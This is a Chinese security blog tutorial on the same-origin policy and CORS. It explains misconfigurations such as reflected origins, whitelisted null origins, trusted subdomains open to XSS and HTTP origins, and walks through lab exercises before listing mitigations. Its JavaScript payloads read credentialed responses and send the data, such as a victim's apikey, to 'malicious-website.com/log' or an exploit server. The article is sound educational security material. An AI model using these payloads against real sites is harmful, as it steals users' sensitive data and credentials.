web安全——CORS跨域资源共享漏洞

同源策略

同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能都会收到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的以一种实现。

所谓同源是指域名、协议、端口相同。

当一个浏览器的两个tab页中分别打开百度和谷歌的页面时,当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,即检查是否同源,只有和百度同源的脚本才会被执行。 如果非同源,那么在请求数据时,浏览器会在控制台中报一个异常,提示拒绝访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以google.com下的js脚本采用ajax读取baidu.com里面的文件数据是会报错的。

如何判断是否是同源,可以查看该表

不受同源策略限制的:

  • 页面的链接,重定向以及表单提交是不会受到同源策略限制的
  • 跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script sec="...."></script>,<img>,<link>,<iframe>等。 

跨域的实现

跨域资源共享:受浏览器同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象就需要跨域。

跨域的实现方法

1、降域

同源策略认为域和子域属于不同的域,如:

child1.a.com 与 a.com,

child1.a.com 与 child2.a.com,

abc.child1.a.com 与 child1.a.com

两两不同源,但是可以通过设置 document.domain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置documen.domain='a.com'。

此方式的特点:

只能在父域名与子域名之间使用,且将 xxx.child1.a.com域名设置为a.com后,不能再设置成child1.a.com

存在安全性问题,当一个站点被攻击后,另一个站点会引起安全漏洞

这种方法只适用于 Cookie 和 iframe 窗口

2、JSONP跨域(参考笔记JSONP)

3、CORS跨域资源共享

它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制。使用AJAX技术跨域获取数据

CORS定义了两种跨域请求:简单请求 和 非简单请求。简单跨域请求就是使用设定的请求方式请求数据,而非简单跨域请求则是在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源。只有"预检"通过后才会再发送一次请求用于数据传输。

当我们需要发送一个跨域请求的时候,浏览器会首先检查这个请求,如果它是简单跨域请求,浏览器就会立刻发送这个请求。如果它是非简单跨域请求,这时候浏览器不会马上发送这个请求,而是有一个跟服务器预检验证的过程。

简单跨域请求

(1) 请求方法是以下三种方法之一:

HEAD

GET

POST

(2)HTTP的头信息不超出以下几种字段:

Accept

Accept-Language

Content-Language

Last-Event-ID

Content-Type:application/x-www-form-urlencoded、 multipart/form-data、text/plain

只有同时满足以上两个条件时,才是简单请求,否则为非简单请求。

浏览器判断该请求为简单请求时,会在Request Header中添加 Origin 字段,它表示我们的请求源。

如下,简单请求头:

CORS服务端会将该字段作为跨源标志。CORS接收到此次请求后, 首先会判断Origin是否在允许源(由服务端决定)范围之内。

如果Origin指定的源在许可范围内,即验证通过,服务端会在Response Header 添加下面几个字段

 

  • Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。
  • Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。当设置为true时,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可
  • Access-Control-Expose-Headers:该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。

 

如下,CROS服务端的回应:

如果Origin指定的源不在许可范围内,即验证失败,服务器也会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息中的Access-Control-Allow-Origin字段不包含访问源,就知道出错了,从而抛出同源检测异常的错误。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

上面说到,CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。

Access-Control-Allow-Credentials:true

另一方面,开发者必须在AJAX请求中打开withCredentials属性

var xhr = new XMLHttpRequest(); xhr.withCredentials = true;

否则,即使服务器同意浏览器发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。

但是,如果省略withCredentials设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials

xhr.withCredentials = false;

需要注意的是,如果要发送Cookie,即Access-Control-Allow-Credentials:true时,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

 

总结:简单请求只需要CORS服务端在接受到携带Origin字段的跨域请求后,在response header中添加Access-Control-Allow-Origin等字段给浏览器做同源判断

非简单请求

非简单请求是那种对服务器有特殊要求的请求,比如请求方法是PUT或DELETE,或者Content-Type字段的类型是application/json。非简单请求的CORS请求,会在正式通信之前,增加一次OPTIONS方法的预检请求。

浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。

下面简单分析一下非简单跨域请求的过程。浏览器先发送一个OPTIONS方法的预检请求。带有如下字段:

 

  • Origin: 在CORS中专门作为Origin信息供后端比对,表明来源域。
  • Access-Control-Request-Method: 接下来请求的方法,例如PUT、DELETE等等
  • Access-Control-Request-Headers: 自定义的头部,所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中

 

然后如果服务器配置了CORS,会返回对应对的字段,具体字段含义在返回结果是一并解释。

 

  • Access-Control-Allow-Origin: 允许进行跨域请求的域名
  • Access-Control-Allow-Methods: 允许进行跨域请求的方式
  • Access-Control-Allow-Headers: 允许进行跨区请求的头部

 

如下,OPTIONS预检的请求与相应

然后浏览器再根据服务器的返回值判断是否发送非简单请求。然后服务器处理完请求之后,会再返回结果中加上如下控制字段:

 

  • Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符"*"。这里要注意Origin规则只对域名有效,并不会对子目录有效。即http://foo.example/subdir/ 是无效的。但是不同子域名需要分开设置,这里的规则可以参照同源策略
  • Access-Control-Allow-Credentials: 是否允许请求带有验证信息
  • Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息
  • Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
  • Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
  • Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感

 

然后浏览器通过返回结果的这些控制字段来决定是将结果开放给客户端脚本读取还是屏蔽掉。如果服务器没有配置CORS,返回结果没有控制字段,浏览器会屏蔽脚本对返回信息的读取,并报出同源检测异常的错误!

通过上面叙述,我们得知借助CORS我们不必关心发出的请求是否跨域,浏览器会帮我们处理这些事情,但是服务端需要支持CORS,服务端实现CORS的原理也很简单,在服务端完全可以对请求做上下文处理,已达到接口允许跨域访问的目的。

当然,也有很多第三方的CORS插件,例如:Spring MVC 在4.2以上版本也支持了CORS配置,这样,服务端也无需自己操心了!

CORS的安全问题

CORS非常有用,可以共享许多内容,不过这里存在风险。因为它完全是一个盲目的协议,只是通过HTTP头来控制的。那么,CORS跨域资源共享漏洞是怎么发生的呢?由于程序员配置不当,Origin源不严格,从而造成跨域问题。

由以上可知,网站可以通过发送以下HTTP响应头部来启用CORS:

Access-Control-Allow-Origin: https://example.com

这样的话,就可以允许指定的源(http://example.com)来跨域请求服务器端的资源,并且服务器会响应。在默认情况下,发送跨域请求时不会携带cookie或其他凭据。因此,它不能用于窃取与用户相关的敏感信息(如CSRF令牌)。不过,网站服务器可以使用以下头部来启用凭据传输:

Access-Control-Allow-Credentials:true

这样浏览器在请求数据的时候就需要带上cookie。

实现对单个域的信任是非常容易的事情。不过,如果需要信任多个域的话,那该怎么办呢?根据相关规范的建议,只需列出相关的域,并用空格加以分隔即可,例如:

Access-Control-Allow-Origin:http://a.example.com http://example.com

但是,没有哪个浏览器真正支持这一特性。

于是,我们可以通过使用通配符来信任所有子域,具体方法是:

Access-Control-Allow-Origin: *.example.com

这样,所有的网站都可以对其进行跨域资源请求了,这是非常危险的。不过先别高兴的太早。其实这里在设计的时候有一个很好的限制。xmlhttprequest发送的请求需要使用 “withCredentials” 来带上Cookie,如果一个目标域设置成了允许任意域的跨域请求,这个请求又带着 Cookie 的话,这个请求是不合法的。(就是如果需要实现带 Cookie 的跨域请求,CORS服务端需要明确的配置允许来源的域,使用任意域的配置是不合法的)浏览器会屏蔽掉返回的结果。Javascript 就没法获取返回的数据了。这是CORS模型最后一道防线。假如没有这个限制的话,那么 Javascript 就可以获取返回数据中的 Cookie 和 CSRF Token,以及各种敏感数据。这个限制极大的降低了CORS的风险。

如下,这是不允许的:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

这时,将在浏览器控制台中收到错误消息:当凭证标志为true时,无法在Access-Control-Allow-Origin中使用通配符(各个浏览器报错显示的不一样)。

那么,CORS的漏洞到底出现在哪里呢?

1:CORS服务端的 Access-Control-Allow-Origin 设置为了 *,并且 Access-Control-Allow-Credentials 设置为false,这样任何网站都可以获取该服务端的任何数据了。

2:有一些网站的Access-Control-Allow-Origin他的设置并不是固定的,而是根据用户跨域请求数据的Origin来定的。这时,不管Access-Control-Allow-Credentials 设置为了 true 还是 false。任何网站都可以发起请求,并读取对这些请求的响应。意思就是任何一个网站都可以发送跨域请求来获得CORS服务端上的数据。

 

 

 

下面的代码是通过AJAX来跨域请求获取服务端的数据

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ajax</title>
    <script type="text/javascript">
        function foo(){
            var xmlhttp=new XMLHttpRequest();
                var url="http://127.0.0.1/1.txt";   //要跨域访问的资源
            xmlhttp.open("POST",url,true);   
                        //xmlhttp.setRequestHeader('X-PINGOTHER','AAAA');     //自定义头部,如果这样的话,就属于非简单请求了
                        //xmlhttp.setRequestHeader('Content-Type','text/xml');   //自定义头部,如果这样的话,就属于非简单请求了
            xmlhttp.send();
            xmlhttp.onreadystatechange=function()
{
                if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                    document.getElementById("my").innerHTML=xmlhttp.responseText;
                }
            }
        }
</script>
</head>
<body>
    <button id="btn" οnclick="foo()">确定</button>
    <p id="my">hello,word!</p>
</body>
</html>

CORS可以抵御CSRF攻击吗?

CROS是不能用来抵御CSRF攻击的,因为它只是对同源策略的放宽措施。甚至配置不当还会增加遭受CSRF的风险。

CORS配置问题导致的漏洞

服务端生成的来自客户端指定的Origin头的Access-Control-Allow-Origin(ACAO)头

有的应用程序需要允许来自多个指定域的资源,但是维护这样一个列表很麻烦。有种方法就是从请求中读取Origin头并且在响应包中包含一个可以说明请求源被允许的响应头。例如接收到这样的请求

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然后返回这样的响应

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

因为响应中是包含这样的头的,说明请求源是被允许的并且允许包含cookie。而且还能看出来是允许来自任意来源的。所以我们可以跨域访问资源,这样我们就可以访问一些带有敏感信息的资源了,例如构造这样的payload。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

配套靶场:有基础源映射的CORS漏洞

首先我们观察到个人中心的响应包中有这样一段JS代码

看到apikey是利用这段代码获取的,于是我们向这个路径发出请求观察响应包

发现响应包主题就是用户的一些信息,还有一个表明可以读取响应中的凭证的CORS响应头,然后我们测试一下是否可以向任何域发起跨域请求。

发现响应头包含了该域,说明我们可以向任意域发起跨域请求,所以我们可以这样伪造payload

在Exploit Server保存,投放给受害者后,我们就能获取到对方的apikey了。在日志中查看。

 

错误解析Origin头

有的应用程序采用白名单的方式允许请求源,如果响应头包含了请求源则表明允许该源。例如这样的请求

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

我们得到这样的响应

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

但是设置白名单还是会有问题,有的应用程序还允许访问请求源的子域。一般采用匹配前缀或后缀以及正则匹配的方式进行验证,这就很容易导致夹带恶意域进去,比如:

normal-website.com
hackersnormal-website.com
normal-website.com.evil-user.net

被认为是白名单的Origin值null

Origin是支持null值的,有些情况下Origin值为null

 

跨站重定向

来自序列化数据的请求

使用file协议的请求

沙箱过的跨域请求

 

有时候为了方便开发,会将null的Origin值加入白名单,例如

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

然后得到这样的响应

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

攻击者可以构造上诉四种会出现null的Origin值的场景以发动CORS攻击,例如:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

这应该构造的应该是第四种,即利用iframe沙箱发送跨域请求

配套靶场:可信Origin值null的CORS漏洞

首先我们先看一下null在不在白名单里

在,那我们就可以利用上面的payload模板构造payload

在攻击服务器上输入payload

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac3e1f711e4b0b81800e274d00c4005a.web-security-academy.net/accountDetails',true);//这其中的url是存在CORS漏洞的网站
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-ace01f7d1e7b0b638078276901c200b8.web-security-academy.net/log?key='+this.responseText;  //其中的URL是攻击服务器的url
};
</script>"></iframe>

保存后发送给被攻击的服务器,然后在点击Access log进入日志查看,就可以看到受害人的apikey了。

通过CORS信任关系利用XSS

即使添加了白名单,但是如果白名单中的站点很容易遭受XSS攻击的话,攻击者可能向其投放恶意脚本然后利用CORS的信任关系执行它。例如:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

看到https://subdomain.vulnerable-website.com 是受信任的源,并且允许发送凭证。我们可以直接构造这样的XSS payload进行攻击

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

使用配置不当的CORS破坏TLS

如果使用HTTPS传输的站点将使用HTTP传输的站点加入了可信源,像这样

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

针对这样的情况,攻击可以包括下面几个步骤

配套靶场:使用受信任的不安全协议的CORS漏洞

首先我们检测一下使用http的源是否被允许

是允许的,经过测试得知检查库存页面会向http协议的子域发送请求并且存在XSS漏洞,所以我们结合前面学习的知识这样构造payload

我们看到这个payload很复杂,一共套了三层,最外层是可以向http发送请求并且存在XSS,对后续的利用有帮助,然后里面就是利用上一道靶场的知识构造的将敏感数据发送到指定服务器的操作。

内网与无凭证的CORS

前面的获取用户敏感信息都要依赖于这项CORS配置

Access-Control-Allow-Credentials: true

没有这项配置我们就只能访问不需要身份验证的内容。但是如果我们处于内网时,因为内网的安全标准普遍比外网低,所以我们可以通过一些漏洞获取对敏感数据的访问权限。例如

我们看到在内网中允许来自任意源的资源请求,不需要用户凭证。我们可以在外网构造攻击利用受害者能够访问内网这个特点去获取敏感数据。

如何缓解基于CORS的攻击

正确配置跨域请求

应该在有敏感资源的页面中的Access-Control-Allow-Origin头指定正确的可信源

仅允许可信站点

应该在Access-Control-Allow-Origin仅指定可信源,而不是动态的,不去验证是否为可信源。

避免将null设置为白名单

应该避免设置Access-Control-Allow-Origin: null,因为有些攻击手段可以利用这一点发动CORS攻击,比如iframe沙箱

避免在内网中使用通配符

通过前面的案例我们知道大部分内网的安全标准比外网低,会设置Access-Control-Allow-Origin: *,这是非常危险的做法

CORS不能用来代替服务器端安全策略

CORS只是浏览器安全机制,所以并不能用来代替服务器端的安全策略,服务器端还是不能放松警惕,还是要配置身份验证,会话管理之类的安全策略

posted @ 2021-09-17 10:09  学安全的小白  阅读(3047)  评论(0编辑  收藏  举报